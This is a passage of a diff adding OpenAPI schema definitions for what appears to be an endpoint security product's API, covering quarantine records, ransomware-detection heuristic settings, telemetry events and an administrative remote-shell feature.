+        $ref: '#/definitions/QuarantinedAgent'
+      comment:
+        title: Comment
+        type: string
+        x-nullable: true
+      date:
+        format: date-time
+        title: Date
+        type: string
+      error_message:
+        title: Error message
+        type: string
+        x-nullable: true
+      file_hash:
+        title: File hash
+        type: string
+        x-nullable: true
+      file_path:
+        title: File path
+        type: string
+        x-nullable: true
+      file_uid:
+        format: uuid
+        title: File uid
+        type: string
+        x-nullable: true
+      id:
+        format: uuid
+        title: Id
+        type: string
+      job_instance_number:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Job instance number
+        type: integer
+        x-nullable: true
+      job_uid:
+        format: uuid
+        title: Job uid
+        type: string
+        x-nullable: true
+      type:
+        enum:
+          - automatic
+          - manual
+          - unknown
+        title: Type
+        type: string
+    required:
+      - action
+      - action_uid
+      - agent
+      - date
+      - id
+    type: object
+  QuarantinedAgent:
+    properties:
+      hostname:
+        minLength: 1
+        readOnly: true
+        title: Hostname
+        type: string
+        x-nullable: true
+      id:
+        format: uuid
+        readOnly: true
+        title: Id
+        type: string
+      osproducttype:
+        minLength: 1
+        readOnly: true
+        title: Osproducttype
+        type: string
+        x-nullable: true
+      ostype:
+        minLength: 1
+        readOnly: true
+        title: Ostype
+        type: string
+        x-nullable: true
+    type: object
+  QuarantinedFile:
+    properties:
+      path:
+        minLength: 1
+        title: Path
+        type: string
+      status:
+        title: Status
+        type: integer
+    required:
+      - path
+      - status
+    type: object
+  QuarantinedItem:
+    properties:
+      acl:
+        title: Acl
+        type: string
+        x-nullable: true
+      acquired:
+        title: Acquired
+        type: boolean
+      agent:
+        $ref: '#/definitions/QuarantinedAgent'
+      comment:
+        title: Comment
+        type: string
+        x-nullable: true
+      date:
+        format: date-time
+        title: Date
+        type: string
+        x-nullable: true
+      download_jobinstance:
+        $ref: '#/definitions/StatusJobInstance'
+      full_security_descriptor:
+        title: Full security descriptor
+        type: string
+        x-nullable: true
+      group_id:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Group id
+        type: integer
+        x-nullable: true
+      id:
+        format: uuid
+        title: Id
+        type: string
+      item_md5:
+        maxLength: 2048
+        minLength: 1
+        title: Item md5
+        type: string
+        x-nullable: true
+      item_sha1:
+        maxLength: 2048
+        minLength: 1
+        title: Item sha1
+        type: string
+        x-nullable: true
+      item_sha256:
+        maxLength: 2048
+        minLength: 1
+        title: Item sha256
+        type: string
+        x-nullable: true
+      item_sha512:
+        maxLength: 2048
+        minLength: 1
+        title: Item sha512
+        type: string
+        x-nullable: true
+      local_id:
+        format: uuid
+        title: Local id
+        type: string
+      mode:
+        maxLength: 2048
+        minLength: 1
+        title: Mode
+        type: string
+        x-nullable: true
+      new_file_path:
+        minLength: 1
+        title: New file path
+        type: string
+      original_file_path:
+        minLength: 1
+        title: Original file path
+        type: string
+      original_file_size:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Original file size
+        type: integer
+        x-nullable: true
+      status_jobinstance:
+        $ref: '#/definitions/StatusJobInstance'
+      type:
+        enum:
+          - automatic
+          - manual
+          - unknown
+        title: Type
+        type: string
+      user_id:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: User id
+        type: integer
+        x-nullable: true
+      user_sid:
+        title: User sid
+        type: string
+        x-nullable: true
+    required:
+      - agent
+      - download_jobinstance
+      - id
+      - new_file_path
+      - original_file_path
+      - status_jobinstance
+    type: object
+  QueryUnapplyRetroactively:
+    properties:
+      id:
+        format: uuid
+        title: Id
+        type: string
+      revision:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Revision
+        type: integer
+    required:
+      - id
+      - revision
+    type: object
+  QuickFixEngineering:
+    properties:
+      '@timestamp':
+        format: date-time
+        title: '@timestamp'
+        type: string
+      agent:
+        $ref: '#/definitions/DataAgent'
+      caption:
+        minLength: 1
+        title: Caption
+        type: string
+      csname:
+        minLength: 1
+        title: Csname
+        type: string
+      description:
+        minLength: 1
+        title: Description
+        type: string
+      fixcomments:
+        minLength: 1
+        title: Fixcomments
+        type: string
+      hotfixid:
+        minLength: 1
+        title: Hotfixid
+        type: string
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      installdate:
+        minLength: 1
+        title: Installdate
+        type: string
+      installedby:
+        minLength: 1
+        title: Installedby
+        type: string
+      installedon:
+        minLength: 1
+        title: Installedon
+        type: string
+      item_status:
+        title: Item status
+        type: integer
+      job_id:
+        minLength: 1
+        title: Job id
+        type: string
+      job_instance_action:
+        minLength: 1
+        title: Job instance action
+        type: string
+      job_instance_id:
+        minLength: 1
+        title: Job instance id
+        type: string
+      job_instance_task_id:
+        title: Job instance task id
+        type: integer
+      name:
+        minLength: 1
+        title: Name
+        type: string
+      servicepackineffect:
+        minLength: 1
+        title: Servicepackineffect
+        type: string
+      tenant:
+        minLength: 1
+        title: Tenant
+        type: string
+    required:
+      - '@timestamp'
+      - agent
+      - caption
+      - csname
+      - description
+      - fixcomments
+      - hotfixid
+      - id
+      - installdate
+      - installedby
+      - installedon
+      - item_status
+      - job_id
+      - job_instance_action
+      - job_instance_id
+      - job_instance_task_id
+      - name
+      - servicepackineffect
+      - tenant
+    type: object
+  Ransomguard:
+    properties:
+      alert_level:
+        default: critical
+        enum:
+          - critical
+          - high
+          - informational
+          - low
+          - medium
+        title: Alert level
+        type: string
+    type: object
+  RansomguardCanaryData:
+    properties:
+      canary_destination_path:
+        minLength: 1
+        title: Canary destination path
+        type: string
+      canary_path:
+        minLength: 1
+        title: Canary path
+        type: string
+    required:
+      - canary_destination_path
+      - canary_path
+    type: object
+  RansomguardHeuristic:
+    properties:
+      ransomguard_heur_deleter_delete_weight:
+        minimum: 0
+        title: Ransomguard heur deleter delete weight
+        type: integer
+        x-nullable: true
+      ransomguard_heur_deleter_high_entropy_weight:
+        minimum: 0
+        title: Ransomguard heur deleter high entropy weight
+        type: integer
+        x-nullable: true
+      ransomguard_heur_deleter_matched_pairs_weight:
+        minimum: 0
+        title: Ransomguard heur deleter matched pairs weight
+        type: integer
+        x-nullable: true
+      ransomguard_heur_deleter_max_renamed:
+        minimum: 0
+        title: Ransomguard heur deleter max renamed
+        type: integer
+        x-nullable: true
+      ransomguard_heur_deleter_max_renamed_from:
+        minimum: 0
+        title: Ransomguard heur deleter max renamed from
+        type: integer
+        x-nullable: true
+      ransomguard_heur_deleter_max_renamed_to:
+        minimum: 0
+        title: Ransomguard heur deleter max renamed to
+        type: integer
+        x-nullable: true
+      ransomguard_heur_deleter_max_suspicious_entropy_write_count:
+        minimum: 0
+        title: Ransomguard heur deleter max suspicious entropy write count
+        type: integer
+        x-nullable: true
+      ransomguard_heur_deleter_max_write_extension:
+        minimum: 0
+        title: Ransomguard heur deleter max write extension
+        type: integer
+        x-nullable: true
+      ransomguard_heur_deleter_min_delete_sec:
+        minimum: 0
+        title: Ransomguard heur deleter min delete sec
+        type: integer
+        x-nullable: true
+      ransomguard_heur_deleter_min_high_entropy_write:
+        minimum: 0
+        title: Ransomguard heur deleter min high entropy write
+        type: integer
+        x-nullable: true
+      ransomguard_heur_deleter_min_matched_pairs:
+        minimum: 0
+        title: Ransomguard heur deleter min matched pairs
+        type: integer
+        x-nullable: true
+      ransomguard_heur_deleter_min_read_extension:
+        minimum: 0
+        title: Ransomguard heur deleter min read extension
+        type: integer
+        x-nullable: true
+      ransomguard_heur_deleter_min_read_sec:
+        minimum: 0
+        title: Ransomguard heur deleter min read sec
+        type: integer
+        x-nullable: true
+      ransomguard_heur_deleter_min_read_write_ratio:
+        minimum: 0
+        title: Ransomguard heur deleter min read write ratio
+        type: integer
+        x-nullable: true
+      ransomguard_heur_deleter_min_read_write_ratio_weight:
+        minimum: 0
+        title: Ransomguard heur deleter min read write ratio weight
+        type: integer
+        x-nullable: true
+      ransomguard_heur_deleter_min_write_read_ratio:
+        minimum: 0
+        title: Ransomguard heur deleter min write read ratio
+        type: integer
+        x-nullable: true
+      ransomguard_heur_deleter_min_write_read_ratio_weight:
+        minimum: 0
+        title: Ransomguard heur deleter min write read ratio weight
+        type: integer
+        x-nullable: true
+      ransomguard_heur_deleter_min_write_sec:
+        minimum: 0
+        title: Ransomguard heur deleter min write sec
+        type: integer
+        x-nullable: true
+      ransomguard_heur_deleter_read_weight:
+        minimum: 0
+        title: Ransomguard heur deleter read weight
+        type: integer
+        x-nullable: true
+      ransomguard_heur_deleter_threshold:
+        minimum: 0
+        title: Ransomguard heur deleter threshold
+        type: integer
+        x-nullable: true
+      ransomguard_heur_deleter_write_weight:
+        minimum: 0
+        title: Ransomguard heur deleter write weight
+        type: integer
+        x-nullable: true
+      ransomguard_heur_min_high_entropy_operations:
+        minimum: 0
+        title: Ransomguard heur min high entropy operations
+        type: integer
+        x-nullable: true
+      ransomguard_heur_overwriter_delete_weight:
+        minimum: 0
+        title: Ransomguard heur overwriter delete weight
+        type: integer
+        x-nullable: true
+      ransomguard_heur_overwriter_high_entropy_weight:
+        minimum: 0
+        title: Ransomguard heur overwriter high entropy weight
+        type: integer
+        x-nullable: true
+      ransomguard_heur_overwriter_max_delete_sec:
+        minimum: 0
+        title: Ransomguard heur overwriter max delete sec
+        type: integer
+        x-nullable: true
+      ransomguard_heur_overwriter_min_high_entropy_write:
+        minimum: 0
+        title: Ransomguard heur overwriter min high entropy write
+        type: integer
+        x-nullable: true
+      ransomguard_heur_overwriter_min_overwrite:
+        minimum: 0
+        title: Ransomguard heur overwriter min overwrite
+        type: integer
+        x-nullable: true
+      ransomguard_heur_overwriter_min_overwrite_with_wrong_header:
+        minimum: 0
+        title: Ransomguard heur overwriter min overwrite with wrong header
+        type: integer
+        x-nullable: true
+      ransomguard_heur_overwriter_min_rename_check_imbalance:
+        minimum: 0
+        title: Ransomguard heur overwriter min rename check imbalance
+        type: integer
+        x-nullable: true
+      ransomguard_heur_overwriter_min_rename_from_to_ratio:
+        minimum: 0
+        title: Ransomguard heur overwriter min rename from to ratio
+        type: integer
+        x-nullable: true
+      ransomguard_heur_overwriter_min_rename_sec:
+        minimum: 0
+        title: Ransomguard heur overwriter min rename sec
+        type: integer
+        x-nullable: true
+      ransomguard_heur_overwriter_min_rename_to_from_ratio:
+        minimum: 0
+        title: Ransomguard heur overwriter min rename to from ratio
+        type: integer
+        x-nullable: true
+      ransomguard_heur_overwriter_min_suspicious_high_entropy_write:
+        minimum: 0
+        title: Ransomguard heur overwriter min suspicious high entropy write
+        type: integer
+        x-nullable: true
+      ransomguard_heur_overwriter_overwrite_weight:
+        minimum: 0
+        title: Ransomguard heur overwriter overwrite weight
+        type: integer
+        x-nullable: true
+      ransomguard_heur_overwriter_rename_from_to_ratio_weight:
+        minimum: 0
+        title: Ransomguard heur overwriter rename from to ratio weight
+        type: integer
+        x-nullable: true
+      ransomguard_heur_overwriter_rename_to_from_ratio_weight:
+        minimum: 0
+        title: Ransomguard heur overwriter rename to from ratio weight
+        type: integer
+        x-nullable: true
+      ransomguard_heur_overwriter_rename_weight:
+        minimum: 0
+        title: Ransomguard heur overwriter rename weight
+        type: integer
+        x-nullable: true
+      ransomguard_heur_overwriter_suspicious_high_entropy_weight:
+        minimum: 0
+        title: Ransomguard heur overwriter suspicious high entropy weight
+        type: integer
+        x-nullable: true
+      ransomguard_heur_overwriter_threshold:
+        minimum: 0
+        title: Ransomguard heur overwriter threshold
+        type: integer
+        x-nullable: true
+      ransomguard_heur_overwriter_wrong_header_weight:
+        minimum: 0
+        title: Ransomguard heur overwriter wrong header weight
+        type: integer
+        x-nullable: true
+    type: object
+  RansomguardHeuristicConfig:
+    properties:
+      deleter_delete_weight:
+        title: Deleter delete weight
+        type: integer
+      deleter_high_entropy_weight:
+        title: Deleter high entropy weight
+        type: integer
+      deleter_matched_pairs_weight:
+        title: Deleter matched pairs weight
+        type: integer
+      deleter_max_renamed:
+        title: Deleter max renamed
+        type: integer
+      deleter_max_renamed_from:
+        title: Deleter max renamed from
+        type: integer
+      deleter_max_renamed_to:
+        title: Deleter max renamed to
+        type: integer
+      deleter_max_suspicious_entropy_write_count:
+        title: Deleter max suspicious entropy write count
+        type: integer
+      deleter_max_write_extension:
+        title: Deleter max write extension
+        type: integer
+      deleter_min_delete_sec:
+        title: Deleter min delete sec
+        type: integer
+      deleter_min_high_entropy_write:
+        title: Deleter min high entropy write
+        type: integer
+      deleter_min_matched_pairs:
+        title: Deleter min matched pairs
+        type: integer
+      deleter_min_read_extension:
+        title: Deleter min read extension
+        type: integer
+      deleter_min_read_sec:
+        title: Deleter min read sec
+        type: integer
+      deleter_min_read_write_ratio:
+        title: Deleter min read write ratio
+        type: integer
+      deleter_min_read_write_ratio_weight:
+        title: Deleter min read write ratio weight
+        type: integer
+      deleter_min_write_read_ratio:
+        title: Deleter min write read ratio
+        type: integer
+      deleter_min_write_read_ratio_weight:
+        title: Deleter min write read ratio weight
+        type: integer
+      deleter_min_write_sec:
+        title: Deleter min write sec
+        type: integer
+      deleter_read_weight:
+        title: Deleter read weight
+        type: integer
+      deleter_threshold:
+        title: Deleter threshold
+        type: integer
+      deleter_write_weight:
+        title: Deleter write weight
+        type: integer
+      min_high_entropy_operations:
+        title: Min high entropy operations
+        type: integer
+      overwriter_delete_weight:
+        title: Overwriter delete weight
+        type: integer
+      overwriter_high_entropy_weight:
+        title: Overwriter high entropy weight
+        type: integer
+      overwriter_max_delete_sec:
+        title: Overwriter max delete sec
+        type: integer
+      overwriter_min_high_entropy_write:
+        title: Overwriter min high entropy write
+        type: integer
+      overwriter_min_overwrite:
+        title: Overwriter min overwrite
+        type: integer
+      overwriter_min_overwrite_with_wrong_header:
+        title: Overwriter min overwrite with wrong header
+        type: integer
+      overwriter_min_rename_check_imbalance:
+        title: Overwriter min rename check imbalance
+        type: integer
+      overwriter_min_rename_from_to_ratio:
+        title: Overwriter min rename from to ratio
+        type: integer
+      overwriter_min_rename_sec:
+        title: Overwriter min rename sec
+        type: integer
+      overwriter_min_rename_to_from_ratio:
+        title: Overwriter min rename to from ratio
+        type: integer
+      overwriter_min_suspicious_high_entropy_write:
+        title: Overwriter min suspicious high entropy write
+        type: integer
+      overwriter_overwrite_weight:
+        title: Overwriter overwrite weight
+        type: integer
+      overwriter_rename_from_to_ratio_weight:
+        title: Overwriter rename from to ratio weight
+        type: integer
+      overwriter_rename_to_from_ratio_weight:
+        title: Overwriter rename to from ratio weight
+        type: integer
+      overwriter_rename_weight:
+        title: Overwriter rename weight
+        type: integer
+      overwriter_suspicious_high_entropy_weight:
+        title: Overwriter suspicious high entropy weight
+        type: integer
+      overwriter_threshold:
+        title: Overwriter threshold
+        type: integer
+      overwriter_wrong_header_weight:
+        title: Overwriter wrong header weight
+        type: integer
+    required:
+      - deleter_delete_weight
+      - deleter_high_entropy_weight
+      - deleter_matched_pairs_weight
+      - deleter_max_renamed
+      - deleter_max_renamed_from
+      - deleter_max_renamed_to
+      - deleter_max_suspicious_entropy_write_count
+      - deleter_max_write_extension
+      - deleter_min_delete_sec
+      - deleter_min_high_entropy_write
+      - deleter_min_matched_pairs
+      - deleter_min_read_extension
+      - deleter_min_read_sec
+      - deleter_min_read_write_ratio
+      - deleter_min_read_write_ratio_weight
+      - deleter_min_write_read_ratio
+      - deleter_min_write_read_ratio_weight
+      - deleter_min_write_sec
+      - deleter_read_weight
+      - deleter_threshold
+      - deleter_write_weight
+      - min_high_entropy_operations
+      - overwriter_delete_weight
+      - overwriter_high_entropy_weight
+      - overwriter_max_delete_sec
+      - overwriter_min_high_entropy_write
+      - overwriter_min_overwrite
+      - overwriter_min_overwrite_with_wrong_header
+      - overwriter_min_rename_check_imbalance
+      - overwriter_min_rename_from_to_ratio
+      - overwriter_min_rename_sec
+      - overwriter_min_rename_to_from_ratio
+      - overwriter_min_suspicious_high_entropy_write
+      - overwriter_overwrite_weight
+      - overwriter_rename_from_to_ratio_weight
+      - overwriter_rename_to_from_ratio_weight
+      - overwriter_rename_weight
+      - overwriter_suspicious_high_entropy_weight
+      - overwriter_threshold
+      - overwriter_wrong_header_weight
+    type: object
+  RansomguardHeuristicData:
+    properties:
+      config:
+        $ref: '#/definitions/RansomguardHeuristicConfig'
+      report:
+        $ref: '#/definitions/RansomguardHeuristicReport'
+    required:
+      - config
+      - report
+    type: object
+  RansomguardHeuristicReport:
+    properties:
+      windows_create_delete_pairs_count:
+        title: Windows create delete pairs count
+        type: integer
+      windows_delete_time_queue:
+        title: Windows delete time queue
+        type: integer
+      windows_extension_read_set_count:
+        title: Windows extension read set count
+        type: integer
+      windows_extension_rename_from_set_count:
+        title: Windows extension rename from set count
+        type: integer
+      windows_extension_rename_to_set_count:
+        title: Windows extension rename to set count
+        type: integer
+      windows_extension_write_set_count:
+        title: Windows extension write set count
+        type: integer
+      windows_file_wrong_header_count:
+        title: Windows file wrong header count
+        type: integer
+      windows_high_entropy_write_count:
+        title: Windows high entropy write count
+        type: integer
+      windows_overwrite_count:
+        title: Windows overwrite count
+        type: integer
+      windows_read_time_queue:
+        title: Windows read time queue
+        type: integer
+      windows_renamed_time_queue:
+        title: Windows renamed time queue
+        type: integer
+      windows_suspicious_high_entropy_write_count:
+        title: Windows suspicious high entropy write count
+        type: integer
+      windows_write_time_queue:
+        title: Windows write time queue
+        type: integer
+    required:
+      - windows_create_delete_pairs_count
+      - windows_delete_time_queue
+      - windows_extension_read_set_count
+      - windows_extension_rename_from_set_count
+      - windows_extension_rename_to_set_count
+      - windows_extension_write_set_count
+      - windows_file_wrong_header_count
+      - windows_high_entropy_write_count
+      - windows_overwrite_count
+      - windows_read_time_queue
+      - windows_renamed_time_queue
+      - windows_suspicious_high_entropy_write_count
+      - windows_write_time_queue
+    type: object
+  RawDeviceAccess:
+    properties:
+      '@event_create_date':
+        format: date-time
+        title: '@event create date'
+        type: string
+      '@timestamp':
+        format: date-time
+        title: '@timestamp'
+        type: string
+      agent:
+        $ref: '#/definitions/InnerAgent'
+      desired_access:
+        title: Desired access
+        type: integer
+      desired_access_str:
+        minLength: 1
+        title: Desired access str
+        type: string
+      device_name:
+        minLength: 1
+        title: Device name
+        type: string
+      event_id:
+        title: Event id
+        type: integer
+      groups:
+        $ref: '#/definitions/InnerGroup'
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      image_name:
+        minLength: 1
+        title: Image name
+        type: string
+      log_type:
+        minLength: 1
+        title: Log type
+        type: string
+      origin_stack:
+        $ref: '#/definitions/OriginStack'
+      pid:
+        title: Pid
+        type: integer
+      process_unique_id:
+        minLength: 1
+        title: Process unique id
+        type: string
+      stacktrace:
+        minLength: 1
+        title: Stacktrace
+        type: string
+      stacktrace_minimal:
+        minLength: 1
+        title: Stacktrace minimal
+        type: string
+      tenant:
+        minLength: 1
+        title: Tenant
+        type: string
+      utc_time:
+        format: date-time
+        title: Utc time
+        type: string
+    required:
+      - '@event_create_date'
+      - '@timestamp'
+      - agent
+      - desired_access
+      - desired_access_str
+      - device_name
+      - event_id
+      - groups
+      - id
+      - image_name
+      - log_type
+      - pid
+      - process_unique_id
+      - stacktrace
+      - stacktrace_minimal
+      - tenant
+      - utc_time
+    type: object
+  RawSocketCreation:
+    properties:
+      '@event_create_date':
+        format: date-time
+        title: '@event create date'
+        type: string
+      '@timestamp':
+        format: date-time
+        title: '@timestamp'
+        type: string
+      agent:
+        $ref: '#/definitions/InnerAgent'
+      family:
+        title: Family
+        type: integer
+      groups:
+        $ref: '#/definitions/InnerGroup'
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      log_type:
+        minLength: 1
+        title: Log type
+        type: string
+      origin_stack:
+        $ref: '#/definitions/OriginStack'
+      pid:
+        title: Pid
+        type: integer
+      process_image_path:
+        minLength: 1
+        title: Process image path
+        type: string
+      process_unique_id:
+        minLength: 1
+        title: Process unique id
+        type: string
+      protocol:
+        title: Protocol
+        type: integer
+      sock_type:
+        title: Sock type
+        type: integer
+      tenant:
+        minLength: 1
+        title: Tenant
+        type: string
+      utc_time:
+        format: date-time
+        title: Utc time
+        type: string
+    required:
+      - '@event_create_date'
+      - '@timestamp'
+      - agent
+      - family
+      - groups
+      - id
+      - log_type
+      - pid
+      - process_image_path
+      - process_unique_id
+      - protocol
+      - sock_type
+      - tenant
+      - utc_time
+    type: object
+  ReducedAgent:
+    properties:
+      hostname:
+        minLength: 1
+        title: Hostname
+        type: string
+      id:
+        minLength: 1
+        title: Id
+        type: string
+    required:
+      - hostname
+      - id
+    type: object
+  Registry:
+    properties:
+      '@event_create_date':
+        format: date-time
+        title: '@event create date'
+        type: string
+      '@timestamp':
+        format: date-time
+        title: '@timestamp'
+        type: string
+      agent:
+        $ref: '#/definitions/InnerAgent'
+      data_string_added:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      data_string_removed:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      details:
+        minLength: 1
+        title: Details
+        type: string
+      event_id:
+        title: Event id
+        type: integer
+      event_type:
+        minLength: 1
+        title: Event type
+        type: string
+      groups:
+        $ref: '#/definitions/InnerGroup'
+      hive_path:
+        minLength: 1
+        title: Hive path
+        type: string
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      log_type:
+        minLength: 1
+        title: Log type
+        type: string
+      new_name:
+        minLength: 1
+        title: New name
+        type: string
+      origin_stack:
+        $ref: '#/definitions/OriginStack'
+      pid:
+        title: Pid
+        type: integer
+      previous_details:
+        minLength: 1
+        title: Previous details
+        type: string
+      process_image_path:
+        minLength: 1
+        title: Process image path
+        type: string
+      process_unique_id:
+        minLength: 1
+        title: Process unique id
+        type: string
+      registry_value_type:
+        minLength: 1
+        title: Registry value type
+        type: string
+      stacktrace:
+        minLength: 1
+        title: Stacktrace
+        type: string
+      stacktrace_minimal:
+        minLength: 1
+        title: Stacktrace minimal
+        type: string
+      target_object:
+        minLength: 1
+        title: Target object
+        type: string
+      tenant:
+        minLength: 1
+        title: Tenant
+        type: string
+      tid:
+        title: Tid
+        type: integer
+      utc_time:
+        format: date-time
+        title: Utc time
+        type: string
+    required:
+      - '@event_create_date'
+      - '@timestamp'
+      - agent
+      - data_string_added
+      - data_string_removed
+      - details
+      - event_id
+      - event_type
+      - groups
+      - hive_path
+      - id
+      - log_type
+      - new_name
+      - pid
+      - previous_details
+      - process_image_path
+      - process_unique_id
+      - registry_value_type
+      - stacktrace
+      - stacktrace_minimal
+      - target_object
+      - tenant
+      - tid
+      - utc_time
+    type: object
+  RemediationPermissions:
+    properties:
+      file_deletion:
+        enum:
+          - disabled
+          - read_only
+          - read_write
+        title: File deletion
+        type: string
+      process_kill:
+        enum:
+          - disabled
+          - read_only
+          - read_write
+        title: Process kill
+        type: string
+      quarantine_files:
+        enum:
+          - disabled
+          - read_only
+          - read_write
+        title: Quarantine files
+        type: string
+      registry_operation:
+        enum:
+          - disabled
+          - read_only
+          - read_write
+        title: Registry operation
+        type: string
+      scheduled_task_deletion:
+        enum:
+          - disabled
+          - read_only
+          - read_write
+        title: Scheduled task deletion
+        type: string
+      service_deletion:
+        enum:
+          - disabled
+          - read_only
+          - read_write
+        title: Service deletion
+        type: string
+    required:
+      - file_deletion
+      - process_kill
+      - quarantine_files
+      - registry_operation
+      - scheduled_task_deletion
+      - service_deletion
+    type: object
+  RemediationRegopItemSeralizer:
+    properties:
+      hive:
+        description: '0: HKLM, 1: HKCR, 2: HKU; deprecated, `hive_str` is to be used instead.'
+        enum:
+          - 0
+          - 1
+          - 2
+        title: Hive
+        type: integer
+      hive_str:
+        description: Hive to operate under; replaces `hive`; required if `hive` is unused.
+        enum:
+          - HKCR
+          - HKLM
+          - HKU
+        title: Hive str
+        type: string
+      operator_type:
+        description: '0: DELETE_VALUE, 1: DELETE_KEY'
+        enum:
+          - 0
+          - 1
+        title: Operator type
+        type: integer
+      path_hive:
+        minLength: 1
+        title: Path hive
+        type: string
+      value_name:
+        title: Value name
+        type: string
+    required:
+      - operator_type
+      - path_hive
+    type: object
+  RemediationRegops:
+    properties:
+      force:
+        default: false
+        title: Force
+        type: boolean
+      values:
+        items:
+          $ref: '#/definitions/RemediationRegopItemSeralizer'
+        type: array
+    required:
+      - values
+    type: object
+  RemoteShell:
+    properties:
+      delayed:
+        readOnly: true
+        title: Delayed
+        type: boolean
+      delayed_update_at:
+        format: date-time
+        readOnly: true
+        title: Delayed update at
+        type: string
+        x-nullable: true
+      delayed_update_data:
+        readOnly: true
+        title: Delayed update data
+        type: string
+      mfa_required:
+        default: false
+        title: Mfa required
+        type: boolean
+      session_timeout:
+        default: 10
+        description: minutes
+        minimum: 10
+        title: Session timeout
+        type: integer
+      write_command_agents_per_day:
+        default: 20
+        description: maximum agents on which write commands can be executed
+        minimum: 1
+        title: Write command agents per day
+        type: integer
+      write_command_agents_per_day_enabled:
+        default: false
+        title: Write command agents per day enabled
+        type: boolean
+    type: object
+  RemoteShellCommand:
+    properties:
+      command:
+        enum:
+          - cat
+          - cd
+          - chmod
+          - chown
+          - cp
+          - env
+          - filehash
+          - getdir
+          - getfile
+          - help
+          - kill
+          - listmount
+          - ls
+          - mkdir
+          - mv
+          - ps
+          - pwd
+          - quarantine-add
+          - quarantine-delete
+          - quarantine-get
+          - quarantine-list
+          - quarantine-restore
+          - rm
+          - run
+          - set
+          - stat
+          - unknown
+          - unset
+        title: Command
+        type: string
+      created_at:
+        format: date-time
+        readOnly: true
+        title: Created at
+        type: string
+      cwd:
+        maxLength: 8192
+        title: Cwd
+        type: string
+      env:
+        title: Env
+        type: object
+      executable:
+        $ref: '#/definitions/RemoteShellExecutable'
+      exit_code:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Exit code
+        type: integer
+        x-nullable: true
+      id:
+        format: uuid
+        title: Id
+        type: string
+      jobinstances:
+        items:
+          $ref: '#/definitions/JobInstance'
+        type: array
+        x-nullable: true
+      params:
+        maxLength: 8192
+        title: Params
+        type: string
+      raw_command:
+        maxLength: 8192
+        minLength: 1
+        title: Raw command
+        type: string
+      response:
+        title: Response
+        type: string
+      session:
+        $ref: '#/definitions/RemoteShellSession'
+      state:
+        enum:
+          - aborted
+          - failure
+          - pending
+          - running
+          - success
+        title: State
+        type: string
+      unset_env:
+        title: Unset env
+        type: object
+      updated_at:
+        format: date-time
+        readOnly: true
+        title: Updated at
+        type: string
+    required:
+      - command
+      - id
+      - raw_command
+      - session
+    type: object
+  RemoteShellCommandPoll:
+    properties:
+      command:
+        enum:
+          - cat
+          - cd
+          - chmod
+          - chown
+          - cp
+          - env
+          - filehash
+          - getdir
+          - getfile
+          - help
+          - kill
+          - listmount
+          - ls
+          - mkdir
+          - mv
+          - ps
+          - pwd
+          - quarantine-add
+          - quarantine-delete
+          - quarantine-get
+          - quarantine-list
+          - quarantine-restore
+          - rm
+          - run
+          - set
+          - stat
+          - unknown
+          - unset
+        title: Command
+        type: string
+      created_at:
+        format: date-time
+        readOnly: true
+        title: Created at
+        type: string
+      cwd:
+        maxLength: 8192
+        title: Cwd
+        type: string
+      env:
+        title: Env
+        type: object
+      executable:
+        $ref: '#/definitions/RemoteShellExecutable'
+      exit_code:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Exit code
+        type: integer
+        x-nullable: true
+      id:
+        format: uuid
+        title: Id
+        type: string
+      jobinstances:
+        items:
+          $ref: '#/definitions/JobInstance'
+        type: array
+        x-nullable: true
+      params:
+        maxLength: 8192
+        title: Params
+        type: string
+      raw_command:
+        maxLength: 8192
+        minLength: 1
+        title: Raw command
+        type: string
+      response:
+        title: Response
+        type: string
+      session_id:
+        minLength: 1
+        title: Session id
+        type: string
+      state:
+        enum:
+          - aborted
+          - failure
+          - pending
+          - running
+          - success
+        title: State
+        type: string
+      unset_env:
+        title: Unset env
+        type: object
+      updated_at:
+        format: date-time
+        readOnly: true
+        title: Updated at
+        type: string
+    required:
+      - command
+      - id
+      - raw_command
+      - session_id
+    type: object
+  RemoteShellErrorCodeResponse:
+    properties:
+      code:
+        default: unknown_error
+        enum:
+          - agent_did_not_respond
+          - agent_does_not_support_command
+          - agent_id_mismatch
+          - executable_already_exists
+          - executable_download_failed
+          - executable_name_already_exists
+          - executable_name_cannot_contain_spaces
+          - executable_upload_failed
+          - unknown_error
+        title: Code
+        type: string
+      status:
+        minLength: 1
+        title: Status
+        type: string
+    required:
+      - status
+    type: object
+  RemoteShellExecutable:
+    properties:
+      created_at:
+        format: date-time
+        title: Created at
+        type: string
+      creator:
+        $ref: '#/definitions/HlSimpleUserSerializer'
+      current:
+        default: true
+        title: Current
+        type: boolean
+      description:
+        minLength: 1
+        title: Description
+        type: string
+      executable_type:
+        enum:
+          - bat
+          - exe
+          - ps1
+          - unknown
+        title: Executable type
+        type: string
+      file_extension:
+        maxLength: 16
+        title: File extension
+        type: string
+        x-nullable: true
+      filename:
+        minLength: 1
+        title: Filename
+        type: string
+      id:
+        format: uuid
+        title: Id
+        type: string
+      name:
+        maxLength: 2048
+        minLength: 1
+        title: Name
+        type: string
+      sha256:
+        maxLength: 64
+        minLength: 1
+        title: Sha256
+        type: string
+      size:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Size
+        type: integer
+      version:
+        default: 0
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Version
+        type: integer
+    required:
+      - created_at
+      - creator
+      - description
+      - executable_type
+      - filename
+      - id
+      - name
+      - sha256
+      - size
+    type: object
+    x-nullable: true
+  RemoteShellExecutablePoll:
+    properties:
+      command_id:
+        minLength: 1
+        title: Command id
+        type: string
+      created_at:
+        format: date-time
+        title: Created at
+        type: string
+      creator:
+        $ref: '#/definitions/HlSimpleUserSerializer'
+      current:
+        default: true
+        title: Current
+        type: boolean
+      description:
+        minLength: 1
+        title: Description
+        type: string
+      executable_type:
+        enum:
+          - bat
+          - exe
+          - ps1
+          - unknown
+        title: Executable type
+        type: string
+      file_extension:
+        maxLength: 16
+        title: File extension
+        type: string
+        x-nullable: true
+      filename:
+        minLength: 1
+        title: Filename
+        type: string
+      id:
